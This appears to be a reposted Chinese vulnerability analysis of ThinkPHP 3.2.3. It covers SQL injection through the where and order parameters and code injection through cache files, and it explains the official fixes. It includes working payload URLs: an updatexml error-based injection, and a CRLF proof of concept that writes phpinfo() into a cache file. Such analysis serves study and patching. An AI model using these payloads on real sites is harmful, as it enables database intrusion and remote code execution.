http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index?id[where]=1%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))--+

image-20220123011303559

官方修復

官方在修復上就是在_parseOptions()處忽略了外部傳入的$options,這樣我們傳入的數據只能用於主鍵查詢,而主鍵查詢最終會轉換為數組格式,數組格式數據在后面也會被過濾,那么這個漏洞就不存在了

image-20220123011729646

order by注入

ThinkPHP的模型基類Model並沒有直接提供order的方法,而是用__call()魔術方法來獲取一些特殊方法的參數,代碼如下:

protected $options          =   array();.......protected $methods          =   array('strict','order','alias','having','group','lock','distinct','auto','filter','validate','result','token','index','force');......public function __call($method,$args) {    if(in_array(strtolower($method),$this->methods,true)) {        // 連貫操作的實現        $this->options[strtolower($method)] =   $args[0];        return $this;    }elseif(in_array(strtolower($method),array('count','sum','min','max','avg'),true)){        // 統計查詢的實現        $field =  isset($args[0])?$args[0]:'*';        return $this->getField(strtoupper($method).'('.$field.') AS tp_'.$method);.......

最終 order 語句將由給 parseOrder() 解析

    protected function parseOrder($order) {        if(is_array($order)) {            $array   =  array();            foreach ($order as $key=>$val){                if(is_numeric($key)) {                    $array[] =  $this->parseKey($val);                }else{                    $array[] =  $this->parseKey($key).' '.$val;                }            }            $order   =  implode(',',$array);        }        return !empty($order)?  ' ORDER BY '.$order:'';    }

parseOrder()的參數$order來自$options['order'],過程對$order沒有任何過濾,可以任意注入

驗證:

    public function index(){        $order = I('GET.order');        $User = M("user"); // 實例化User對象        $res = $User->order($order)->find();    }

image-20220123014054922

官方修復

ThinkPHP3.2.4主要采用了判斷輸入中是否有括號的方式過濾,在ThinkPHP3.2.5中則用正則表達式過濾特殊符號。另外該在ThinkPHP<=5.1.22版本也存在這樣的漏洞,利用方式有一些不同

緩存漏洞

ThinkPHP 中提供了一個數據緩存的功能,對應S方法,可以先將一些數據保存在文件中,再次訪問該數據時直接訪問緩存文件即可

緩存文件示例

按照緩存初始化時候的參數進行緩存數據

public function test(){  	$name = I('GET.name');  	S('name',$name);}

下次在讀取該值時通過緩存文件可以更快獲取

public function cache(){  	$value = S('name');  	echo $value;}

先訪問test(),生成緩存數據

image-20220123014835854

然后訪問cache(),獲取緩存數據

image-20220123014954943

上面就是緩存文件生成和使用的過程

代碼分析

S方法:

function S($name,$value='',$options=null) {    static $cache   =   '';    if(is_array($options)){        // 緩存操作的同時初始化        $type       =   isset($options['type'])?$options['type']:'';        $cache      =   Think\Cache::getInstance($type,$options);    }elseif(is_array($name)) { // 緩存初始化        $type       =   isset($name['type'])?$name['type']:'';        $cache      =   Think\Cache::getInstance($type,$name);        return $cache;    }elseif(empty($cache)) { // 自動初始化        $cache      =   Think\Cache::getInstance();    }    if(''=== $value){ // 獲取緩存        return $cache->get($name);    }elseif(is_null($value)) { // 刪除緩存        return $cache->rm($name);    }else { // 緩存數據        if(is_array($options)) {            $expire     =   isset($options['expire'])?$options['expire']:NULL;        }else{            $expire     =   is_numeric($options)?$options:NULL;        }        return $cache->set($name, $value, $expire);    }}

介紹了S方法的一些功能,這里我們只關注寫緩存的set()方法

先看file_put_contents(),就是這里寫入了文件,我們需要控制其中的兩個參數,文件名$filename, 寫入數據$data

文件名$filename來自方法filename($name),其中$name可控,filename()是怎么操作的等下細看

寫入數據$data來自$value處理后的數據,$value可控

$value先經過序列化,然后使用<?php\n//,?>包裹 $value 序列化后的值。注意這里使用了行注釋符//,保證寫入的數據不會被解析,但是我們可以通過換行符等手段輕松繞過。

image-20220123020013535

下面關注一下文件的命名方式,具體方法為filename()

C('DATA_CACHE_KEY')就是獲取配置文件中 DATA_CACHE_KEY 的值,該值默認為空。該值為空時,$name最終的md5加密值也就清楚了

$this->options['prefix']默認為空,$this->options['temp']默認為Application/Runtime/Temp,如果在默認情況下,文件名,所在目錄就很好控制了

image-20220123020317267

漏洞利用

POC:

http://127.0.0.1/thinkphp_3.2.3_full/index.php/home/index/test?name=%0d%0aphpinfo();%0d%0a//

image-20220123020602849

image-20220123020649783

小節:

因為ThinkPHP3的入口文件位於根目錄下,和 application 等目錄在同一目錄一下,導致系統很多文件都可以訪問,這里生成的緩存文件也是可以直接訪問的,在TP5一些版本中也有這個漏洞,但是TP5的入口文件更加安全,這個漏洞並一定能利用。

參考

https://www.freebuf.com/vuls/282906.html

https://www.bilibili.com/video/BV1kk4y1q74o?p=2

https://www.kancloud.cn/manual/thinkphp

https://hu3sky.github.io/2019/09/20/Thinkphp3個版本數據庫操作以及底層代碼分析/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM